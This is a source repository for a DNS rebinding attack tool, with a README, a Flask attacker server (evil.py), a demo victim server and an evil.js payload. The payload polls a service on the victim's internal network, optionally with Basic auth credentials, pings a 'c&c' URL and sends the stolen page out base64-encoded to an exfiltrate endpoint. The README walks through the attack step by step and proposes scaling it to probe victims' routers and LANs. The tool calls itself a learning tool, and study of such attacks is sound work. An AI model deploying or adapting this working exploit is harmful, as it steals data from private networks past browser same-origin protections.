├── .gitignore ├── LICENSE ├── README.md ├── evil.py ├── requirements.txt ├── target.py └── templates ├── evil.html └── evil.js /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A DNS rebinding implementation 2 | 3 | This tool will exfiltrate data cross-domains using a DNS rebinding 4 | attack, bypassing the browser's same-origin policy. 5 | 6 | This is a learning tool; by using it you assume responsiblity for your 7 | actions. 8 | 9 | For information on the attack: https://crypto.stanford.edu/dns/dns-rebinding.pdf 10 | 11 | ## Set-up and Usage 12 | 13 | Requirements: 14 | 15 | * Python (2 or 3, doesn't matter) 16 | * `pip` 17 | * `virtualenv` 18 | 19 | Installation: 20 | 21 | virtualenv venv 22 | source venv/bin/activate 23 | pip install -r requirements.txt 24 | 25 | Scenario: 26 | 27 | > You want to retrieve the content of the page `target_page` from a web 28 | > server which is accessible only to your victim (e.g. a web server in the 29 | > local area network, a DSL modem/router, etc.). You know the target web 30 | > server's IP and that it listens on TCP port `8080`. You control the 31 | > `example.com` domain. 32 | 33 | Usage: 34 | 35 | ./evil.py evil.example.com pingback.example.com target_page -p 8080 36 | 37 | For help: 38 | 39 | ./evil.py -h 40 | 41 | Note: this tool supports HTTP BASIC authentication. Look at the help for 42 | the command-line options. 43 | 44 | 45 | ### Quickstart 46 | 47 | This example uses the `/etc/hosts` file in lieu of a DNS server for 48 | simplicity. 49 | 50 | 1. Set your `/etc/hosts` file: 51 | 52 | 127.0.0.1 evil.example.com 53 | 127.0.0.1 pingback.example.com 54 | 55 | 2. (Optional) On a *different* host, run `./target.py 8080 target_page`. 56 | If you do this, write down the IP of this host and call it 'target 57 | IP' 58 | 59 | 2. Launch the attack: 60 | 61 | ./evil.py evil.example.com pingback.example.com target_page --target-username="admin" --target-password='password' -p 12345 62 | 63 | 3. As a "victim", navigate to `http://evil.example.com:8080/evil.html` 64 | 65 | 4. The page will try to fetch `/target_page` from `127.0.0.1` and fail. 66 | This is OK. 67 | 68 | 5. Change the DNS record and point it at the target IP. Example `/etc/hosts`: 69 | 70 | 10.1.2.3 evil.example.com # THIS IS YOUR TARGET IP 71 | 127.0.0.1 pingback.example.com 72 | 73 | 6. After a short timeout (up to a minute) the evil script will now fetch `target_page` from `10.1.2.3` 74 | 75 | 7. When some data has been acquired, the evil script will ping back to 76 | `http://pingback.example.com:8080/gotstuff`. If you open the 77 | console, you'll see that the browser is blocking reading the 78 | response due to CORS and SOP; it's OK, we only needed to know when 79 | this happens. 80 | 81 | 8. Switch the `hosts` file back: 82 | 83 | 127.0.0.1 evil.example.com 84 | 127.0.0.1 pingback.example.com 85 | 86 | 9. After a short interval the evil script will send the data read from 87 | `target_page` to 88 | `http://evil.example.com:8080/exfiltrate?e=` 89 | and terminate. 90 | 91 | 10. The acquired data is saved base64-encoded in `out.txt`. To decode: 92 | `base64 -d out.txt` 93 | 94 | 95 | # TODOs 96 | 97 | * Run a DNS server in the script so that the records can be 98 | programmatically changed without having to edit `/etc/hosts` by hand 99 | * Try HTTPS 100 | * Use AWS Route 53 APIs to set DNS records if port 53 is not available 101 | or don't want to use the local DNS server: 102 | https://docs.aws.amazon.com/Route53/latest/APIReference/API_ChangeResourceRecordSets.html 103 | * Test with cookies 104 | * Test CNAME aliases to alter the `Host:` header when making 105 | cross-domain requests 106 | * How low can DNS records TTL be before a browser refreshes? 107 | 108 | # Ideas for the future 109 | 110 | * Make it multi-tenant 111 | * Try websockets 112 | * Acquire the local IP of the victim via RTC and guess the default gateway: see http://net.ipcalf.com/ 113 | 114 | In more details: 115 | 116 | 1. Victim visits `http://$random.evil.com/evil.html`. That is a DNS 117 | wildcard and always returns the attacker's IP 118 | 2. The `evil.js` script returns the victim's local IP to 119 | `http://pingback.evil.com/local_ip?i=192.168.0.23` 120 | 3. The tool switches `$random.evil.com` to e.g. `192.168.0.1` based on 121 | the local IP of the victim 122 | 4. Attack proceeds as before 123 | 5. When data has been acquired, `evil.js` pings 124 | `pingback.evil.com/pingback?random=$random`. The tool switches the 125 | DNS record for `$random.evil.com` is re-set to the attacker's IP 126 | 6. Data is exfiltrated as before 127 | 128 | Pros: 129 | 130 | * Multiple attacks at the same time, useful for probing multiple 131 | services on a network 132 | 133 | Cons: 134 | 135 | * Tricky 136 | 137 | # Other files 138 | 139 | * `target.py`: simple script to use on another host as PoC. 140 | 141 | If you want to use python's HTTP server: 142 | 143 | * `python2 -m SimpleHTTPServer ` 144 | * `python3 -m http.server ` 145 | 146 | Note: you'll need to create a file in the directory where you run the 147 | PoC so that `GET /secret_file` will return something. 148 | -------------------------------------------------------------------------------- /evil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # set up HTTP listener on specified port 4 | # HTTP listener serves: 5 | # * index.html which loads evil.js 6 | # * evil.js 7 | # * a /ping URL for the script to signal a payload 8 | # * a /exfiltrate URL: 9 | # * GET /exfiltrate?payload=stuff 10 | # * POST /exfiltrate payload=base64 encoded... 11 | 12 | from __future__ import print_function 13 | import argparse 14 | from flask import Flask, render_template, request, url_for 15 | 16 | # from dnslib.fixedresolver import FixedResolver 17 | # from dnslib.server import DNSServer 18 | # 19 | # res = FixedResolver() 20 | # server = DNSServer(res, port=8053, address="localhost") 21 | # server.start_thread() 22 | 23 | app = Flask(__name__) 24 | 25 | DEFAULT_SCHEMA = "http" 26 | DEFAULT_PORT = "8080" 27 | DEFAULT_PINGBACK_PATH = "/gotstuff" 28 | DEFAULT_EXFILTRATE_PATH = "/exfiltrate" 29 | DEFAULT_EVIL_HTML = "/evil.html" 30 | DEFAULT_EVIL_JS = "/evil.js" 31 | 32 | out_file = "out.txt" 33 | 34 | 35 | @app.after_request 36 | def return_cors(response): 37 | # response.headers["X-Frame-Options"] = "SAMEORIGIN" 38 | # response.headers['Access-Control-Allow-Origin'] = '*' 39 | response.headers['Access-Control-Allow-Credentials'] = 'true' 40 | response.headers['Cache-Control'] = 'no-cache' 41 | return response 42 | 43 | 44 | def evil_html(): 45 | # nothing to substitute for now, but might change in the future 46 | print(url_for('exfiltrate')) 47 | return render_template("evil.html", evil_js=app.config['evil_js']) 48 | 49 | 50 | def generate_urls(args): 51 | if not args.target_path.startswith('/'): 52 | args.target_path = '/' + args.target_path 53 | if not args.pingback_path.startswith('/'): 54 | args.pingback_path = '/' + args.pingback_path 55 | if not args.exfiltrate_path.startswith('/'): 56 | args.exfiltrate_path = '/' + args.exfiltrate_path 57 | 58 | app.config['evil_url'] = "{}://{}:{}{}".format( 59 | args.schema, args.domain, args.port, args.evil_html) 60 | app.config['target_url'] = "{}://{}:{}{}".format( 61 | args.schema, args.domain, args.port, args.target_path) 62 | # pingback listens on the same port to automate DNS switching 63 | app.config['pingback_url'] = "{}://{}:{}{}".format( 64 | args.pingback_schema, args.pingback_domain, args.port, 65 | args.pingback_path) 66 | app.config['exfiltrate_url'] = "{}://{}:{}{}".format( 67 | args.schema, args.domain, args.port, args.exfiltrate_path) 68 | 69 | print("[+] Evil page listening on {}".format(app.config['evil_url'])) 70 | print("[+] Pingback URL: {}".format(app.config['pingback_url'])) 71 | print("[+] Exfiltrate URL: {}".format(app.config['exfiltrate_url'])) 72 | print("[+] Target URL: {}".format(app.config['target_url'])) 73 | 74 | 75 | def evil_js(): 76 | # TODO switch dns entry to target IP 77 | return render_template( 78 | 'evil.js', 79 | username=app.config['username'], 80 | password=app.config['password'], 81 | target=app.config['target_url'], 82 | pingback=app.config['pingback_url'], 83 | exfil=app.config['exfiltrate_url']) 84 | 85 | 86 | def pingback(): 87 | print("[+] Data has been acquired. Switch back the DNS entry...") 88 | # TODO switch DNS entry to attacker IP 89 | return "OK" 90 | 91 | 92 | def exfiltrate(): 93 | exfil_data = request.args.get('e', '') 94 | # TODO save to db? Append to file? Whateva.. 95 | print("[+] Got data! Saving to {}".format(out_file)) 96 | with open(out_file, 'w') as f: 97 | f.write(exfil_data) 98 | return "OK" 99 | 100 | 101 | def main(): 102 | parser = argparse.ArgumentParser() 103 | parser.add_argument("domain", help="Domain to use") 104 | parser.add_argument("pingback_domain", help="Pingback domain") 105 | parser.add_argument("target_path") 106 | parser.add_argument("--target-username", default="") 107 | parser.add_argument("--target-password", default="") 108 | parser.add_argument("-s", "--schema", default=DEFAULT_SCHEMA) 109 | parser.add_argument("-p", "--port", default=DEFAULT_PORT, type=int) 110 | parser.add_argument("--pingback-schema", default=DEFAULT_SCHEMA) 111 | parser.add_argument("-b", "--pingback-path", default=DEFAULT_PINGBACK_PATH) 112 | parser.add_argument("--exfiltrate_path", default=DEFAULT_EXFILTRATE_PATH) 113 | parser.add_argument("--evil-html", default=DEFAULT_EVIL_HTML) 114 | parser.add_argument("--evil-js", default=DEFAULT_EVIL_JS) 115 | # the DNS stuff 116 | # TODO 117 | # parser.add_argument("attacker_ip") 118 | # parser.add_argument("target_ip") 119 | parser.add_argument("-d", "--debug", action="store_true") 120 | args = parser.parse_args() 121 | 122 | print("[+] Loading...") 123 | 124 | if args.debug: 125 | app.debug = True 126 | # javascript: generate a new timestamp. The template will append a "; to the end of this string 127 | args.target_path += args.target_path + '"+ "?" + new Date().getTime() + "' 128 | print("[+] Debug mode enabled: the target path has a timestamp appended to avoid caching...") 129 | 130 | # app.config['args'] = args 131 | # this will store the URLS in app.config[] 132 | generate_urls(args) 133 | # stored here to be used in evil_html 134 | app.config['evil_js'] = args.evil_js 135 | app.config['username'] = args.target_username 136 | app.config['password'] = args.target_password 137 | 138 | app.add_url_rule("{}".format(args.evil_html), 'evil_html', evil_html) 139 | app.add_url_rule("{}".format(args.evil_js), 'evil_js', evil_js) 140 | app.add_url_rule("{}".format(args.pingback_path), 'pingback', pingback) 141 | app.add_url_rule( 142 | "{}".format(args.exfiltrate_path), 143 | 'exfiltrate', 144 | exfiltrate) 145 | 146 | app.run(host="0.0.0.0", port=args.port) 147 | 148 | 149 | if __name__ == '__main__': 150 | main() 151 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | # dnslib 3 | -------------------------------------------------------------------------------- /target.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Run this script on a different host to see what happens 3 | from __future__ import print_function 4 | import argparse 5 | from flask import Flask 6 | 7 | app = Flask(__name__) 8 | 9 | 10 | @app.route("/") 11 | def index(): 12 | return "This is the target main page" 13 | 14 | 15 | @app.after_request 16 | def return_cors(response): 17 | # response.headers["X-Frame-Options"] = "SAMEORIGIN" 18 | response.headers['Cache-Control'] = 'no-cache' 19 | return response 20 | 21 | 22 | def secret_content(): 23 | # TODO set a httpOnly cookie? 24 | return "This is the secret content" 25 | 26 | 27 | if __name__ == '__main__': 28 | parser = argparse.ArgumentParser() 29 | parser.add_argument("port", type=int, help="Target port") 30 | parser.add_argument("target_path", help="Where the secret content is") 31 | parser.add_argument("-d", "--debug", action="store_true") 32 | args = parser.parse_args() 33 | 34 | print("[+] Loading target...") 35 | if args.debug: 36 | app.debug = True 37 | # dynamically add the URL for the secret content 38 | app.add_url_rule( 39 | "/{}".format(args.target_path), 'secret_content', secret_content) 40 | 41 | app.run(host="0.0.0.0", port=args.port) 42 | -------------------------------------------------------------------------------- /templates/evil.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | 17 | 18 |
LogBounty
12 | 13 | 15 | 16 |
19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /templates/evil.js: -------------------------------------------------------------------------------- 1 | var log_area = document.getElementById("log"); 2 | 3 | function log(what) { 4 | log_area.textContent += what; 5 | // autoscroll 6 | log_area.scrollTop = log_area.scrollHeight; 7 | } 8 | log("Starting...") 9 | log("\nPlease change the DNS record to point at your target's IP address."); 10 | 11 | 12 | var target = "{{target}}"; 13 | var pingback = "{{pingback}}"; 14 | var exfil = "{{exfil}}"; 15 | var username = "{{username}}"; 16 | var password = "{{password}}"; 17 | 18 | function poller() { 19 | // TODO remove for debug 20 | if (--counter == 0) { 21 | window.clearTimeout(keep_going); 22 | log("\nHave been waiting for too long. End of script."); 23 | return; 24 | } 25 | log("."); 26 | 27 | var r = new XMLHttpRequest(); 28 | // using the date trick to prevent caching during debugging 29 | r.open("GET", target); 30 | r.addEventListener("error", function() { 31 | log("\nError reported"); 32 | }); 33 | r.withCredentials = true; 34 | if (username != "" && password != "") { 35 | r.setRequestHeader("Authorization", "Basic " + btoa(username + ":" + password)); 36 | } 37 | // when we get something 38 | r.onreadystatechange = function() { 39 | if (this.readyState == 4 && this.status == 200 ) { 40 | log("\nGot data! Saving it in the bounty text area. Please change the DNS entry back to the original IP."); 41 | document.getElementById("bounty").textContent = this.responseText; 42 | // tell c&c we've got stuff 43 | var q = new XMLHttpRequest(); 44 | q.open("GET", pingback); 45 | q.send(); 46 | // don't make this a var 47 | storage = this.responseText; 48 | window.clearTimeout(keep_going); 49 | // reset counter for exfiltration 50 | counter = 60; 51 | // now try to exfiltrate 52 | var elsewhere = window.setInterval(function () { 53 | if (--counter == 0) { 54 | window.clearTimeout(keep_going); 55 | log("\nHave been waiting for too long. End of script."); 56 | return; 57 | } 58 | log("+"); 59 | // now go somewhere else 60 | // re-using 'r', the xml http request to local 61 | var s = new XMLHttpRequest(); 62 | // encode the exfiltrated data as base64 63 | s.open("GET", exfil + "?e=" + btoa(this.storage)); 64 | s.onError = function() { 65 | // meh, ignore 66 | }; 67 | s.onreadystatechange = function() { 68 | if (this.readyState == 4 && this.status == 200 ) { 69 | log("\nData successfully exfiltrated. Remote returned " + this.responseText); 70 | log("\nEnd of script."); 71 | window.clearTimeout(elsewhere); 72 | storage = ""; 73 | } else { 74 | // log("\nCannot exfiltrate yet..."); 75 | } 76 | }; 77 | s.send(); 78 | }, 5000); // try to exfiltrate every 5s 79 | log("\nTrying to exfiltrate data..."); 80 | } else { 81 | // no juice 82 | } 83 | }; 84 | r.send(); 85 | } 86 | 87 | // poll every 3s and up to `counter` times max 88 | var counter = 60; 89 | var keep_going = window.setInterval(poller, 3000); 90 | log("\nPolling " + target); 91 | if (username != "" && password != "") { 92 | log(" with credentials: " + username + ":" + password); 93 | } else { 94 | log(" with no credentials."); 95 | } 96 | --------------------------------------------------------------------------------